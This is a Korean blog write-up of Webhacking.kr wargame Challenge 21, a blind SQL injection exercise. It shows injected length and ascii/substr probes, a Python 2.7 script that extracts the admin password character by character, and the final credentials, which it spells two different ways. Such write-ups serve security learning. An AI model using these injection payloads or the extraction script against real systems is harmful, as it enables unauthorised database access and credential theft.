-
[Webhacking.kr] Challenge 21 풀이Wargame/Webhacking.kr 2019. 5. 11. 00:22
21번 문제는 Blind SQL Injection 문제이다.
Challenge 21 문제 일단 아무 숫자나 입력해보면서 규칙을 찾아보자.
1이나 2를 입력했을 때에는 true가 출력되고, 3 이상의 정수를 입력했을 때에는 모두 false가 출력되는 것을 알 수 있다.
1 또는 2를 입력했을 때 3 이상의 정수를 입력했을 때 또한 숫자를 입력했을 때 URL은 아래와 같이 나타난다. 이 URL을 통해 테이블에는 최소 3개의 column(no, id, pw)이 있다는 것을 알 수 있다. 그 중 no 열은 정수형 데이터라는 것도 알 수 있다.
1을 입력했을 때의 URL 위 두 정보를 종합해보면, no열은 테이블 내 회원 정보를 구분해주는 열이고, 테이블 내 회원 수는 2명이라는 것을 알 수 있다. 이 정보를 통해 쿼리문도 유추해볼 수 있다.
$q = mysql_fetch_array(mysql_query(select no, id, pw from table where no=$_GET[no])); if(!$q) echo false; else echo true;
그럼 이제 id와 pw에 대한 정보를 찾아보자.
먼저 length 함수를 이용하여 각 회원의 id와 pw의 길이를 알아본다.
아래와 같은 쿼리문에서 n 자리에 1부터 차례대로 대입해본다. 결과가 true가 나올 때까지 반복해서 대입하고, no가 2인 경우에도 똑같이 해본다.
1 and length(id)=n 1 and length(pw)=n // n = 1, 2, 3 ...
no = 1의 id 길이 no = 1일 때 pw 길이 no = 2일 때 id 길이 no = 2일 때 pw 길이 위의 쿼리문을 통해 알 수 있는 최종 정보는 아래 표와 같다.
no id pw 1 ?(5) ?(5) 2 ?(5) ?(19) 이제 id와 pw가 무엇인지만 알면 이 문제는 해결된다. id와 pw를 찾기 위해서는 ascii와 substr 함수를 이용한다.
ascii는 인자로 들어온 문자를 아스키 값으로 바꿔주는 함수이다. (ex. ascii('a'): 97 출력)
substr는 문자열의 일부분을 추출하는 함수이다. 주의할 점은 문자열의 시작 부분 인덱스가 0이 아닌 1이라는 점이다.(ex. substr('abcdefg', 3, 2): c부터 문자 2개 추출 → cd)
(※ ascii 함수를 사용하는 이유: 사실 그냥 string으로 비교해도 되긴 하지만, 전송할 때 URL 인코딩이 되기 때문에 처음부터 문자를 ascii 코드로 변환해서 사용한다.)
ascii와 substr 함수를 이용하여 아래와 같은 쿼리문을 true가 나올 때까지 숫자만 바꿔서 계속 전송한다.
아래 쿼리문은 no=2인 회원의 id의 첫번째 문자의 ascii 값이 97인지 질의하는 쿼리문으로, 만약 true이면 no=2인 회원의 id의 첫글자가 a인 것이다.
2 and ascii(substr(id, 1, 1))=97 // id의 1번째 문자 1개의 ASCII 값이 97(=a)
이런식으로 id와 pw를 다 찾아야 하는데, 일일이 해보기에는 너무 힘들기 때문에 이를 일일이 대입해주는 프로그램을 작성해서 돌려야한다. 아래 코드는 Python 2.7로 작성한 코드이다.
import re, urllib, urllib2 pw="" ssid = "본인의 세션 아이디" print("find pw") for i in range(1, 20): # id 또는 pw의 길이 for j in range(97, 128): # a~z의 아스키코드값 (대문자까지 포함할 경우: range(33, 128)) url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no=2" url += "%20and%20ascii(substr(pw,"+str(i)+",1))=" + str(j) req=urllib2.Request(url) # send request req.add_header('Cookie',"PHPSESSID=%s" % ssid) read = urllib2.urlopen(req).read() if "True" in read: pw += chr(j) print ("pw: " + pw) break print ("Fin")
위 코드를 실행하면 no=2의 pw가 출력된다. no=2의 id를 알고싶으면 pw를 모두 id로 바꿔서 실행하면 되고, no=1의 id나 pw를 찾고싶으면 url의 no를 1로 바꿔준 후 실행하면 된다. 앞에서 id와 pw의 길이는 알아냈으므로, 이 정보를 바탕으로 i의 범위를 조절하면 된다. 이런 식으로 모든 회원의 id와 pw를 찾을 수 있다.
no=2의 id no=2의 pw 찾아낸 no=1과 2의 id와 pw를 표로 정리하면 아래와 같다.
no id pw 1 guest guest 2 admin bllindsqlinjectionkk 찾아낸 admin의 pw를 Auth에 입력해 제출하면 문제 해결!
pw: blindsqlinjectionkk Challenge 21 문제 해결! 'Wargame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge 25 풀이 (0) 2019.05.12 [Webhacking.kr] Challenge 24 풀이 (0) 2019.05.12 [Webhacking.kr] Challenge 18 풀이 (0) 2019.03.30 [Webhacking.kr] Challenge 17 풀이 (0) 2019.03.30 [Webhacking.kr] Challenge 16 풀이 (0) 2019.03.30